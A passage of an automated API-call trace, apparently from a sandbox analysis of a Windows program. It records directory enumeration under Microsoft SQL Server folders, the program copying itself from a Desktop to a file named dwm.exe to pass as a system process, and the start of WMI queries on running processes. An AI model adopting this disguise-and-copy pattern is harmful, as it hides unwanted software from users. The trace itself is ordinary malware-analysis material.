ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.964] FindClose (in: hFindFile=0x1b437210 | out: hFindFile=0x1b437210) returned 1 [0102.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0102.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0102.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0102.976] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server", lpFilePart=0x0) returned 0x25 [0102.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\*" (normalized: "c:\\program files\\microsoft sql server\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19d1fd3, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xf8ca19b7, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8ca19b7, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b437ab0 [0102.976] FindNextFileW (in: hFindFile=0x1b437ab0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19d1fd3, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xf8ca19b7, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8ca19b7, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.976] FindNextFileW (in: hFindFile=0x1b437ab0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb27ad863, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xb27ad863, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb27ad863, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0102.977] FindNextFileW (in: hFindFile=0x1b437ab0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65a4ae00, ftCreationTime.dwHighDateTime=0x1d98a23, ftLastAccessTime.dwLowDateTime=0xb2226360, ftLastAccessTime.dwHighDateTime=0x1d9abc7, ftLastWriteTime.dwLowDateTime=0xb2226360, ftLastWriteTime.dwHighDateTime=0x1d9abc7, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="technology_either.exe", cAlternateFileName="TECHNO~1.EXE")) returned 1 [0102.977] FindNextFileW (in: hFindFile=0x1b437ab0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65a4ae00, ftCreationTime.dwHighDateTime=0x1d98a23, ftLastAccessTime.dwLowDateTime=0xb2226360, ftLastAccessTime.dwHighDateTime=0x1d9abc7, ftLastWriteTime.dwLowDateTime=0xb2226360, ftLastWriteTime.dwHighDateTime=0x1d9abc7, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="technology_either.exe", cAlternateFileName="TECHNO~1.EXE")) returned 0 [0102.977] FindClose (in: hFindFile=0x1b437ab0 | out: hFindFile=0x1b437ab0) returned 1 [0102.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0102.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0102.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0102.977] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\110", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\110", lpFilePart=0x0) returned 0x29 [0102.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\110\\*" (normalized: "c:\\program files\\microsoft sql server\\110\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb27ad863, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xb27ad863, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb27ad863, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b437bd0 [0102.978] FindNextFileW (in: hFindFile=0x1b437bd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb27ad863, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xb27ad863, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb27ad863, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.978] FindNextFileW (in: hFindFile=0x1b437bd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb27ad863, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xb27ad863, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb27ad863, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0102.978] FindNextFileW (in: hFindFile=0x1b437bd0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.978] FindClose (in: hFindFile=0x1b437bd0 | out: hFindFile=0x1b437bd0) returned 1 [0102.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0102.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0102.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0102.978] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\110\\Shared", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\110\\Shared", lpFilePart=0x0) returned 0x30 [0102.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\*" (normalized: "c:\\program files\\microsoft sql server\\110\\shared\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb27ad863, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xb27ad863, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb27ad863, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b437ab0 [0102.979] FindNextFileW (in: hFindFile=0x1b437ab0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb27ad863, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xb27ad863, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb27ad863, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.979] FindNextFileW (in: hFindFile=0x1b437ab0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aebed00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xb27ad863, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x9aebed00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x66c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 1 [0102.979] FindNextFileW (in: hFindFile=0x1b437ab0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aebed00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xb27ad863, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x9aebed00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x66c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 0 [0102.979] FindClose (in: hFindFile=0x1b437ab0 | out: hFindFile=0x1b437ab0) returned 1 [0102.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0102.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0103.012] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0103.012] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe", lpFilePart=0x0) returned 0x38 [0103.012] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe" (normalized: "c:\\program files\\microsoft sql server\\110\\shared\\dwm.exe"), bFailIfExists=0) returned 1 [0103.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\6cb0b6c459d5d3", nBufferLength=0x105, lpBuffer=0x1b30d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\6cb0b6c459d5d3", lpFilePart=0x0) returned 0x3f [0103.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d8d0) returned 1 [0103.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\6cb0b6c459d5d3" (normalized: "c:\\program files\\microsoft sql server\\110\\shared\\6cb0b6c459d5d3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3e8 [0103.258] GetFileType (hFile=0x3e8) returned 0x1 [0103.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d840) returned 1 [0103.258] GetFileType (hFile=0x3e8) returned 0x1 [0103.263] WriteFile (in: hFile=0x3e8, lpBuffer=0x2823218*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x1b30d908, lpOverlapped=0x0 | out: lpBuffer=0x2823218*, lpNumberOfBytesWritten=0x1b30d908*=0x17c, lpOverlapped=0x0) returned 1 [0103.264] CloseHandle (hObject=0x3e8) returned 1 [0103.332] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3e8 [0103.336] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0103.343] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1b30bdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0103.345] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll") returned 0x7ffa71660000 [0103.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x1b30c410, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity", lpUsedDefaultChar=0x0) returned 13 [0103.366] GetProcAddress (hModule=0x7ffa71660000, lpProcName="ResetSecurity") returned 0x7ffa716631e0 [0103.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x1b30c410, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity^ú\x7f", lpUsedDefaultChar=0x0) returned 11 [0103.374] GetProcAddress (hModule=0x7ffa71660000, lpProcName="SetSecurity") returned 0x7ffa71663250 [0103.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x1b30c400, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServices\x82\x02", lpUsedDefaultChar=0x0) returned 18 [0103.379] GetProcAddress (hModule=0x7ffa71660000, lpProcName="BlessIWbemServices") returned 0x7ffa71661ab0 [0103.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x1b30c400, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject\x80", lpUsedDefaultChar=0x0) returned 24 [0103.388] GetProcAddress (hModule=0x7ffa71660000, lpProcName="BlessIWbemServicesObject") returned 0x7ffa71661b60 [0103.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x1b30c400, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandleY\x82\x02", lpUsedDefaultChar=0x0) returned 17 [0103.394] GetProcAddress (hModule=0x7ffa71660000, lpProcName="GetPropertyHandle") returned 0x7ffa71662820 [0103.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x1b30c400, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValue\x82\x02", lpUsedDefaultChar=0x0) returned 18 [0103.397] GetProcAddress (hModule=0x7ffa71660000, lpProcName="WritePropertyValue") returned 0x7ffa71663500 [0103.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x1b30c410, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone", lpUsedDefaultChar=0x0) returned 5 [0103.399] GetProcAddress (hModule=0x7ffa71660000, lpProcName="Clone") returned 0x7ffa71661c10 [0103.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x1b30c400, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0103.401] GetProcAddress (hModule=0x7ffa71660000, lpProcName="VerifyClientKey") returned 0x7ffa716633e0 [0103.512] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0103.513] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0103.513] IUnknown:Release (This=0x6124e8) returned 0x0 [0103.538] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x1b30ce68 | out: lpiid=0x1b30ce68) returned 0x0 [0103.542] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x632d40) returned 0x0 [0103.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x632d40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0103.635] WbemDefPath:IClassFactory:CreateInstance (in: This=0x632d40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x656270) returned 0x0 [0103.636] WbemDefPath:IUnknown:Release (This=0x632d40) returned 0x0 [0103.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x656270) returned 0x0 [0103.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0103.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0103.637] WbemDefPath:IUnknown:AddRef (This=0x656270) returned 0x3 [0103.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0103.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0103.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x633220) returned 0x0 [0103.637] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x633220, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0103.637] WbemDefPath:IUnknown:Release (This=0x633220) returned 0x3 [0103.637] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0103.638] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0103.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0103.639] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x2 [0103.639] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x1 [0103.640] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0103.640] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0103.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x656270) returned 0x0 [0103.640] WbemDefPath:IUnknown:AddRef (This=0x656270) returned 0x3 [0103.640] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x2 [0103.642] WbemDefPath:IWbemPath:SetText (This=0x656270, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0103.643] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656270, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0103.643] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0103.644] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0103.644] WbemDefPath:IWbemPath:GetInfo (in: This=0x656270, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0103.644] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656270, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0103.644] WbemDefPath:IWbemPath:GetInfo (in: This=0x656270, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0103.646] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0103.646] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0103.646] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0103.646] IUnknown:Release (This=0x6124e8) returned 0x0 [0103.646] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b413ad0) returned 0x0 [0103.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b413ad0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0103.647] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b413ad0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x656330) returned 0x0 [0103.647] WbemDefPath:IUnknown:Release (This=0x1b413ad0) returned 0x0 [0103.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x656330) returned 0x0 [0103.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0103.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, 